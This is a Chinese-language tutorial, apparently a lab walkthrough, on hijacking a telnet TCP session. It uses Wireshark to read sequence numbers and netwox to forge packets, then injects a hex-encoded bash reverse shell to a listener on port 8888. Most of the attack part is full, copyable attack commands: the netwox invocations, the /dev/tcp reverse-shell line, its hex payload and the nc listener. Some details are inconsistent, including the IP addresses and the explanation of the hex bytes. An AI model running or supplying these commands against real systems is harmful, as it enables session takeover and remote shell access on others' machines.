文章目录

  • TCP劫持攻击
  • 攻击思路
  • 实验拓扑
  • 设备说明
  • 攻击步骤
  • 反弹shell注入
  • 原理
  • 操作指令
  • 利用tcp劫持来实现反弹shell
  • 攻击代码
  • 攻击步骤及指令
  • 拓展


TCP劫持攻击

攻击思路

tcp劫持python代码 tcp劫持的步骤_网络


1、hacker获取client与server的tcp会话包(通过arp毒化,mac泛洪攻击等);

2、观察server给client主机发送的tcp报文,以获取client将要给server发送的下一个报文信息;

3、hacker通过工具伪造一个tcp报文,发送给server,其内容信息通过步骤2中获取的报文来确定。

需要的大致报文信息:
(1)二层的source-mac是hacker机
(2)三层的源IP是client的ip,目标IP是server的ip
(3)四层的参数则是需要通过步骤2获取

注意:server判断会话只能通过三层与四层的信息

接下来我们搭建一个实验来实现TCP劫持攻击操作:

实验拓扑

tcp劫持python代码 tcp劫持的步骤_安全_02

设备说明

这里的A、B我们使用红帽linux来模拟,C则用kali虚拟机来模拟。

攻击步骤

一、被攻击者A telnet 服务器B

首先被攻击者A先去telnet服务端B,成功后,再输入“ls”的命令,查看B当前路径下的文件

tcp劫持python代码 tcp劫持的步骤_安全_03

二、抓取telnet流量

之后再在攻击者C使Wireshark抓取Telnet流量。

首先看到最下面的一个数据包,这个是服务器B给被攻击主机A发的最后一个数据包:

tcp劫持python代码 tcp劫持的步骤_TCP_04


从这个数据包中我们可以看到一些信息:源目IP地址、源目端口号、下一个想要的序列号27303572431、ack确认号733859712、Flags标记(PSH、ACK)。这里需要注意一点:

如果看到序列号和ACK确认号是一个很小的值,则需要进行如下操作:

将图中②的√去掉

tcp劫持python代码 tcp劫持的步骤_安全_05


三、然后进入kali虚拟机开始伪造TCP报文

输入netwox,使用netwox工具伪造报文:

以下为netwox工具中TCP的欺骗包的路径,序号为40:

kali@kali:~/Desktop$ netwox
Netwox toolbox version 5.39.0. Netwib library version 5.39.0.

######################## MAIN MENU #########################
 0 - leave netwox
 3 - search tools
 4 - display help of one tool
 5 - run a tool selecting parameters on command line
 6 - run a tool selecting parameters from keyboard
 a + information
 b + network protocol
 c + application protocol
 d + sniff (capture network packets)
 e + spoof (create and send packets)
 f + record (file containing captured packets)
 g + client
 h + server
 i + ping (check if a computer if reachable)
 j + traceroute (obtain list of gateways)
 k + scan (computer and port discovery)
 l + network audit
 m + brute force (check if passwords are weak)
 n + remote administration
 o + tools not related to network
Select a node (key in 03456abcdefghijklmno): b

##################### network protocol #####################
 0 - leave netwox
 1 - go to main menu
 2 - go to previous menu
 3 - search tools
 4 - display help of one tool
 5 - run a tool selecting parameters on command line
 6 - run a tool selecting parameters from keyboard
 a + Ethernet
 b + IP
 c + UDP
 d + TCP
 e + ICMP
 f + ARP
Select a node (key in 0123456abcdef): d

########################### TCP ############################
 0 - leave netwox
 1 - go to main menu
 2 - go to previous menu
 3 - search tools
 4 - display help of one tool
 5 - run a tool selecting parameters on command line
 6 - run a tool selecting parameters from keyboard
 a + TCP spoof
 b + TCP client
 c + TCP server
 d + network audit using TCP
 e + dns
 f + ftp
 g + http
 h + ident
 i + irc
 j + nntp
 k + smb
 l + smtp
 m + telnet
 n + whois
Select a node (key in 0123456abcdefghijklmn): a

######################## TCP spoof #########################
 0 - leave netwox
 1 - go to main menu
 2 - go to previous menu
 3 - search tools
 4 - display help of one tool
 5 - run a tool selecting parameters on command line
 6 - run a tool selecting parameters from keyboard
 a - 36:Spoof EthernetIp4Tcp packet
 b - 40:Spoof Ip4Tcp packet
 c - 42:Spoof of packet samples : fragment
 d - 43:Spoof of packet samples : fragment, ip4opt:noop
 e - 44:Spoof of packet samples : fragment, ip4opt:rr
 f - 45:Spoof of packet samples : fragment, ip4opt:lsrr
 g - 46:Spoof of packet samples : fragment, ip4opt:ts
 h - 47:Spoof of packet samples : fragment, ip4opt:ipts
 i - 48:Spoof of packet samples : fragment, ip4opt:ippts
 j - 142:Spoof EthernetIp6Tcp packet
 k - 146:Spoof Ip6Tcp packet
 l - 192:Spoof of packet samples : fragment, ip4opt:ssrr
Select a node (key in 0123456abcdefghijkl): b

################# help for tool number 40 ##################
Title: Spoof Ip4Tcp packet
+------------------------------------------------------------------------+
| This tool sends a fake packet on the network.                          |
| Each parameter name should be self explaining.                         |
| Parameter --spoofip indicates how to generate link layer for spoofing. |
| Values 'best', 'link' or 'raw' are common choices for --spoofip. Here  |
| is the list of accepted values:                                        |
|  - 'raw' means to spoof at IP4/IP6 level (it uses system IP stack). If |
|    a firewall is installed, or on some systems, this might not work.   |
|  - 'linkf' means to spoof at link level (currently, only Ethernet is   |
|    supported). The 'f' means to Fill source Ethernet address.          |
|    However, if source IP address is spoofed, it might be impossible    |
|    to Fill it. So, linkf will not work: use linkb or linkfb instead.   |
|  - 'linkb' means to spoof at link level. The 'b' means to left a Blank |
|    source Ethernet address (0:0:0:0:0:0, do not try to Fill it).       |
|  - 'linkfb' means to spoof at link level. The 'f' means to try to Fill |
|    source Ethernet address, but if it is not possible, it is left      |
|    Blank.                                                              |
|  - 'rawlinkf' means to try 'raw', then try 'linkf'                     |
|  - 'rawlinkb' means to try 'raw', then try 'linkb'                     |
|  - 'rawlinkfb' means to try 'raw', then try 'linkfb'                   |
|  - 'linkfraw' means to try 'linkf', then try 'raw'                     |
|  - 'linkbraw' means to try 'linkb', then try 'raw'                     |
|  - 'linkfbraw' means to try 'linkfb', then try 'raw'                   |
|  - 'link' is an alias for 'linkfb'                                     |
|  - 'rawlink' is an alias for 'rawlinkfb'                               |
|  - 'linkraw' is an alias for 'linkfbraw'                               |
|  - 'best' is an alias for 'linkraw'. It should work in all cases.      |
|                                                                        |
| This tool may need to be run with admin privilege in order to spoof.   |
+------------------------------------------------------------------------+
Synonyms: hping, send
Usage: netwox 40 [-c uint32] [-e uint32] [-f|+f] [-g|+g] [-h|+h] [-i uint32] [-j uint32] [-k uint32] [-l ip] [-m ip] [-n ip4opts] [-o port] [-p port] [-q uint32] [-r uint32] [-s|+s] [-t|+t] [-u|+u] [-v|+v] [-w|+w] [-x|+x] [-y|+y] [-z|+z] [-A|+A] [-B|+B] [-C|+C] [-D|+D] [-E uint32] [-F uint32] [-G tcpopts] [-H mixed_data] [-a spoofip] [-J uint32] [-K uint32] [-L uint32] [-M uint32] [-N uint32]
Parameters:
 -c|--ip4-tos uint32            IP4 tos {0}
 -e|--ip4-id uint32             IP4 id (rand if unset) {0}
 -f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved
 -g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag
 -h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag
 -i|--ip4-offsetfrag uint32     IP4 offsetfrag {0}
 -j|--ip4-ttl uint32            IP4 ttl {0}
 -k|--ip4-protocol uint32       IP4 protocol {0}
 -l|--ip4-src ip                IP4 src {192.168.248.129}
 -m|--ip4-dst ip                IP4 dst {5.6.7.8}
 -n|--ip4-opt ip4opts           IPv4 options
 -o|--tcp-src port              TCP src {1234}
 -p|--tcp-dst port              TCP dst {80}
 -q|--tcp-seqnum uint32         TCP seqnum (rand if unset) {0}
 -r|--tcp-acknum uint32         TCP acknum {0}
 -s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1
 -t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2
 -u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3
 -v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4
 -w|--tcp-cwr|+w|--no-tcp-cwr   TCP cwr
 -x|--tcp-ece|+x|--no-tcp-ece   TCP ece
 -y|--tcp-urg|+y|--no-tcp-urg   TCP urg
 -z|--tcp-ack|+z|--no-tcp-ack   TCP ack
 -A|--tcp-psh|+A|--no-tcp-psh   TCP psh
 -B|--tcp-rst|+B|--no-tcp-rst   TCP rst
 -C|--tcp-syn|+C|--no-tcp-syn   TCP syn
 -D|--tcp-fin|+D|--no-tcp-fin   TCP fin
 -E|--tcp-window uint32         TCP window {0}
 -F|--tcp-urgptr uint32         TCP urgptr {0}
 -G|--tcp-opt tcpopts           TCP options
 -H|--tcp-data mixed_data       mixed data
 -a|--spoofip spoofip           IP spoof initialization type {best}
 -J|--ip4-ihl uint32            IP4 ihl {5}
 -K|--ip4-totlen uint32         IP4 totlen {0}
 -L|--ip4-checksum uint32       IP4 checksum {0}
 -M|--tcp-doff uint32           TCP data offset {0}
 -N|--tcp-checksum uint32       TCP checksum {0}
Example: netwox 40
Press 'r' or 'k' to run this tool, or any other key to continue

命令操作

sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.248.127
–ip4-dst 192.168.248.128 --tcp-src 54325 --tcp-dst 23 --tcp-seqnum 733859712 --tcp-acknum 2730357243 --tcp-ack --tcp-psh --tcp-window 235 --tcp-data 6c730d0a

操作指令中–tcp-data参数是由以下三个数据包所决定的:

(1)Server给client回复的第一个数据包:

tcp劫持python代码 tcp劫持的步骤_安全_06


(2)Server给client回复的第二个数据包:

tcp劫持python代码 tcp劫持的步骤_安全_07


(3)Server给client回复的第三个数据包:

tcp劫持python代码 tcp劫持的步骤_安全_08


这三个数据包所发送的数据转换为十六进制则是6c730d0a输入命令后:

tcp劫持python代码 tcp劫持的步骤_网络_09


这样就伪造了一个tcp报文,发送给了server。

而现在再在被攻击主机A上查看,发现telnet界面处在卡住状态

tcp劫持python代码 tcp劫持的步骤_tcp劫持python代码_10


这时攻击也就是成功了,攻击者C成功劫持了该TCP会话,导致A与B无法继续通信。

以上是TCP劫持的基础攻击,下面我们先介绍以下反弹shell的原理以及利用tcp劫持来实现反弹shell的攻击

反弹shell注入

原理

tcp劫持python代码 tcp劫持的步骤_网络_11

操作指令

hacker:nc -lp 8888 -vvv
数据server:bash -i>&/dev/tcp1/192.168.249.131/8888 0>&1

说明:
nc是一个小工具,指令表示用来监听8888端口并将结果实时显示出来;

效果:
在hacker机上先监听8888端口,然后再在数据server上输入上述shell脚本,则会在hacker机上自动登录到数据server上。
劫持成功界面和TCP劫持实现反弹shell效果一样。

利用tcp劫持来实现反弹shell

攻击代码

bash -i>&/dev/tcp/192.168.248.129/8888 0>&1

文本转换为十六进制:

62617368202d693e262f6465762f7463702f3139322e3136382e3234392e3132392f3838383820303e2631200d00
//攻击代码转换后的16机制值,0d00是后添加的,0d \r 为回到首行 00 是\n 为换行

攻击步骤及指令

还是和前面TCP劫持攻击一样:

  • 先抓取TCP报文,然后伪造一个TCP报文并携带反弹shell脚本发送给被攻击者,实现hacker登录到被攻击者,可以进行操作控制被攻击者。
  • 在攻击者机开启两个终端窗口,一个用来监听8888端口,一个用来伪造TCP报文。

攻击者机终端窗口1指令:

sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.248.127 --ip4-dst 192.168.248.128 --tcp-src 54327 --tcp-dst 23 --tcp-seqnum 164306404 --tcp-acknum 3490891661 --tcp-ack --tcp-psh --tcp-window 235 --tcp-data 62617368202d693e262f6465762f7463702f3139322e3136382e3234382e3132392f3838383820303e26310d00

攻击者终端窗口2指令:

nc -lp 8888 -vvv

效果:

伪造的TCP报文(终端窗口1):

tcp劫持python代码 tcp劫持的步骤_安全_12


终端窗口2:

tcp劫持python代码 tcp劫持的步骤_tcp劫持python代码_13


如上图基于已经侵入到被攻击者机中了,可以进行ls查看操作。

拓展

TCP劫持攻击最终都会导致被攻击者已连接的TCP连接一直处在断开状态(被攻击者无法进行操作,卡住状态),但是一旦当攻击者终止攻击,连接又会自动连接上(被攻击者又可以进行操作)。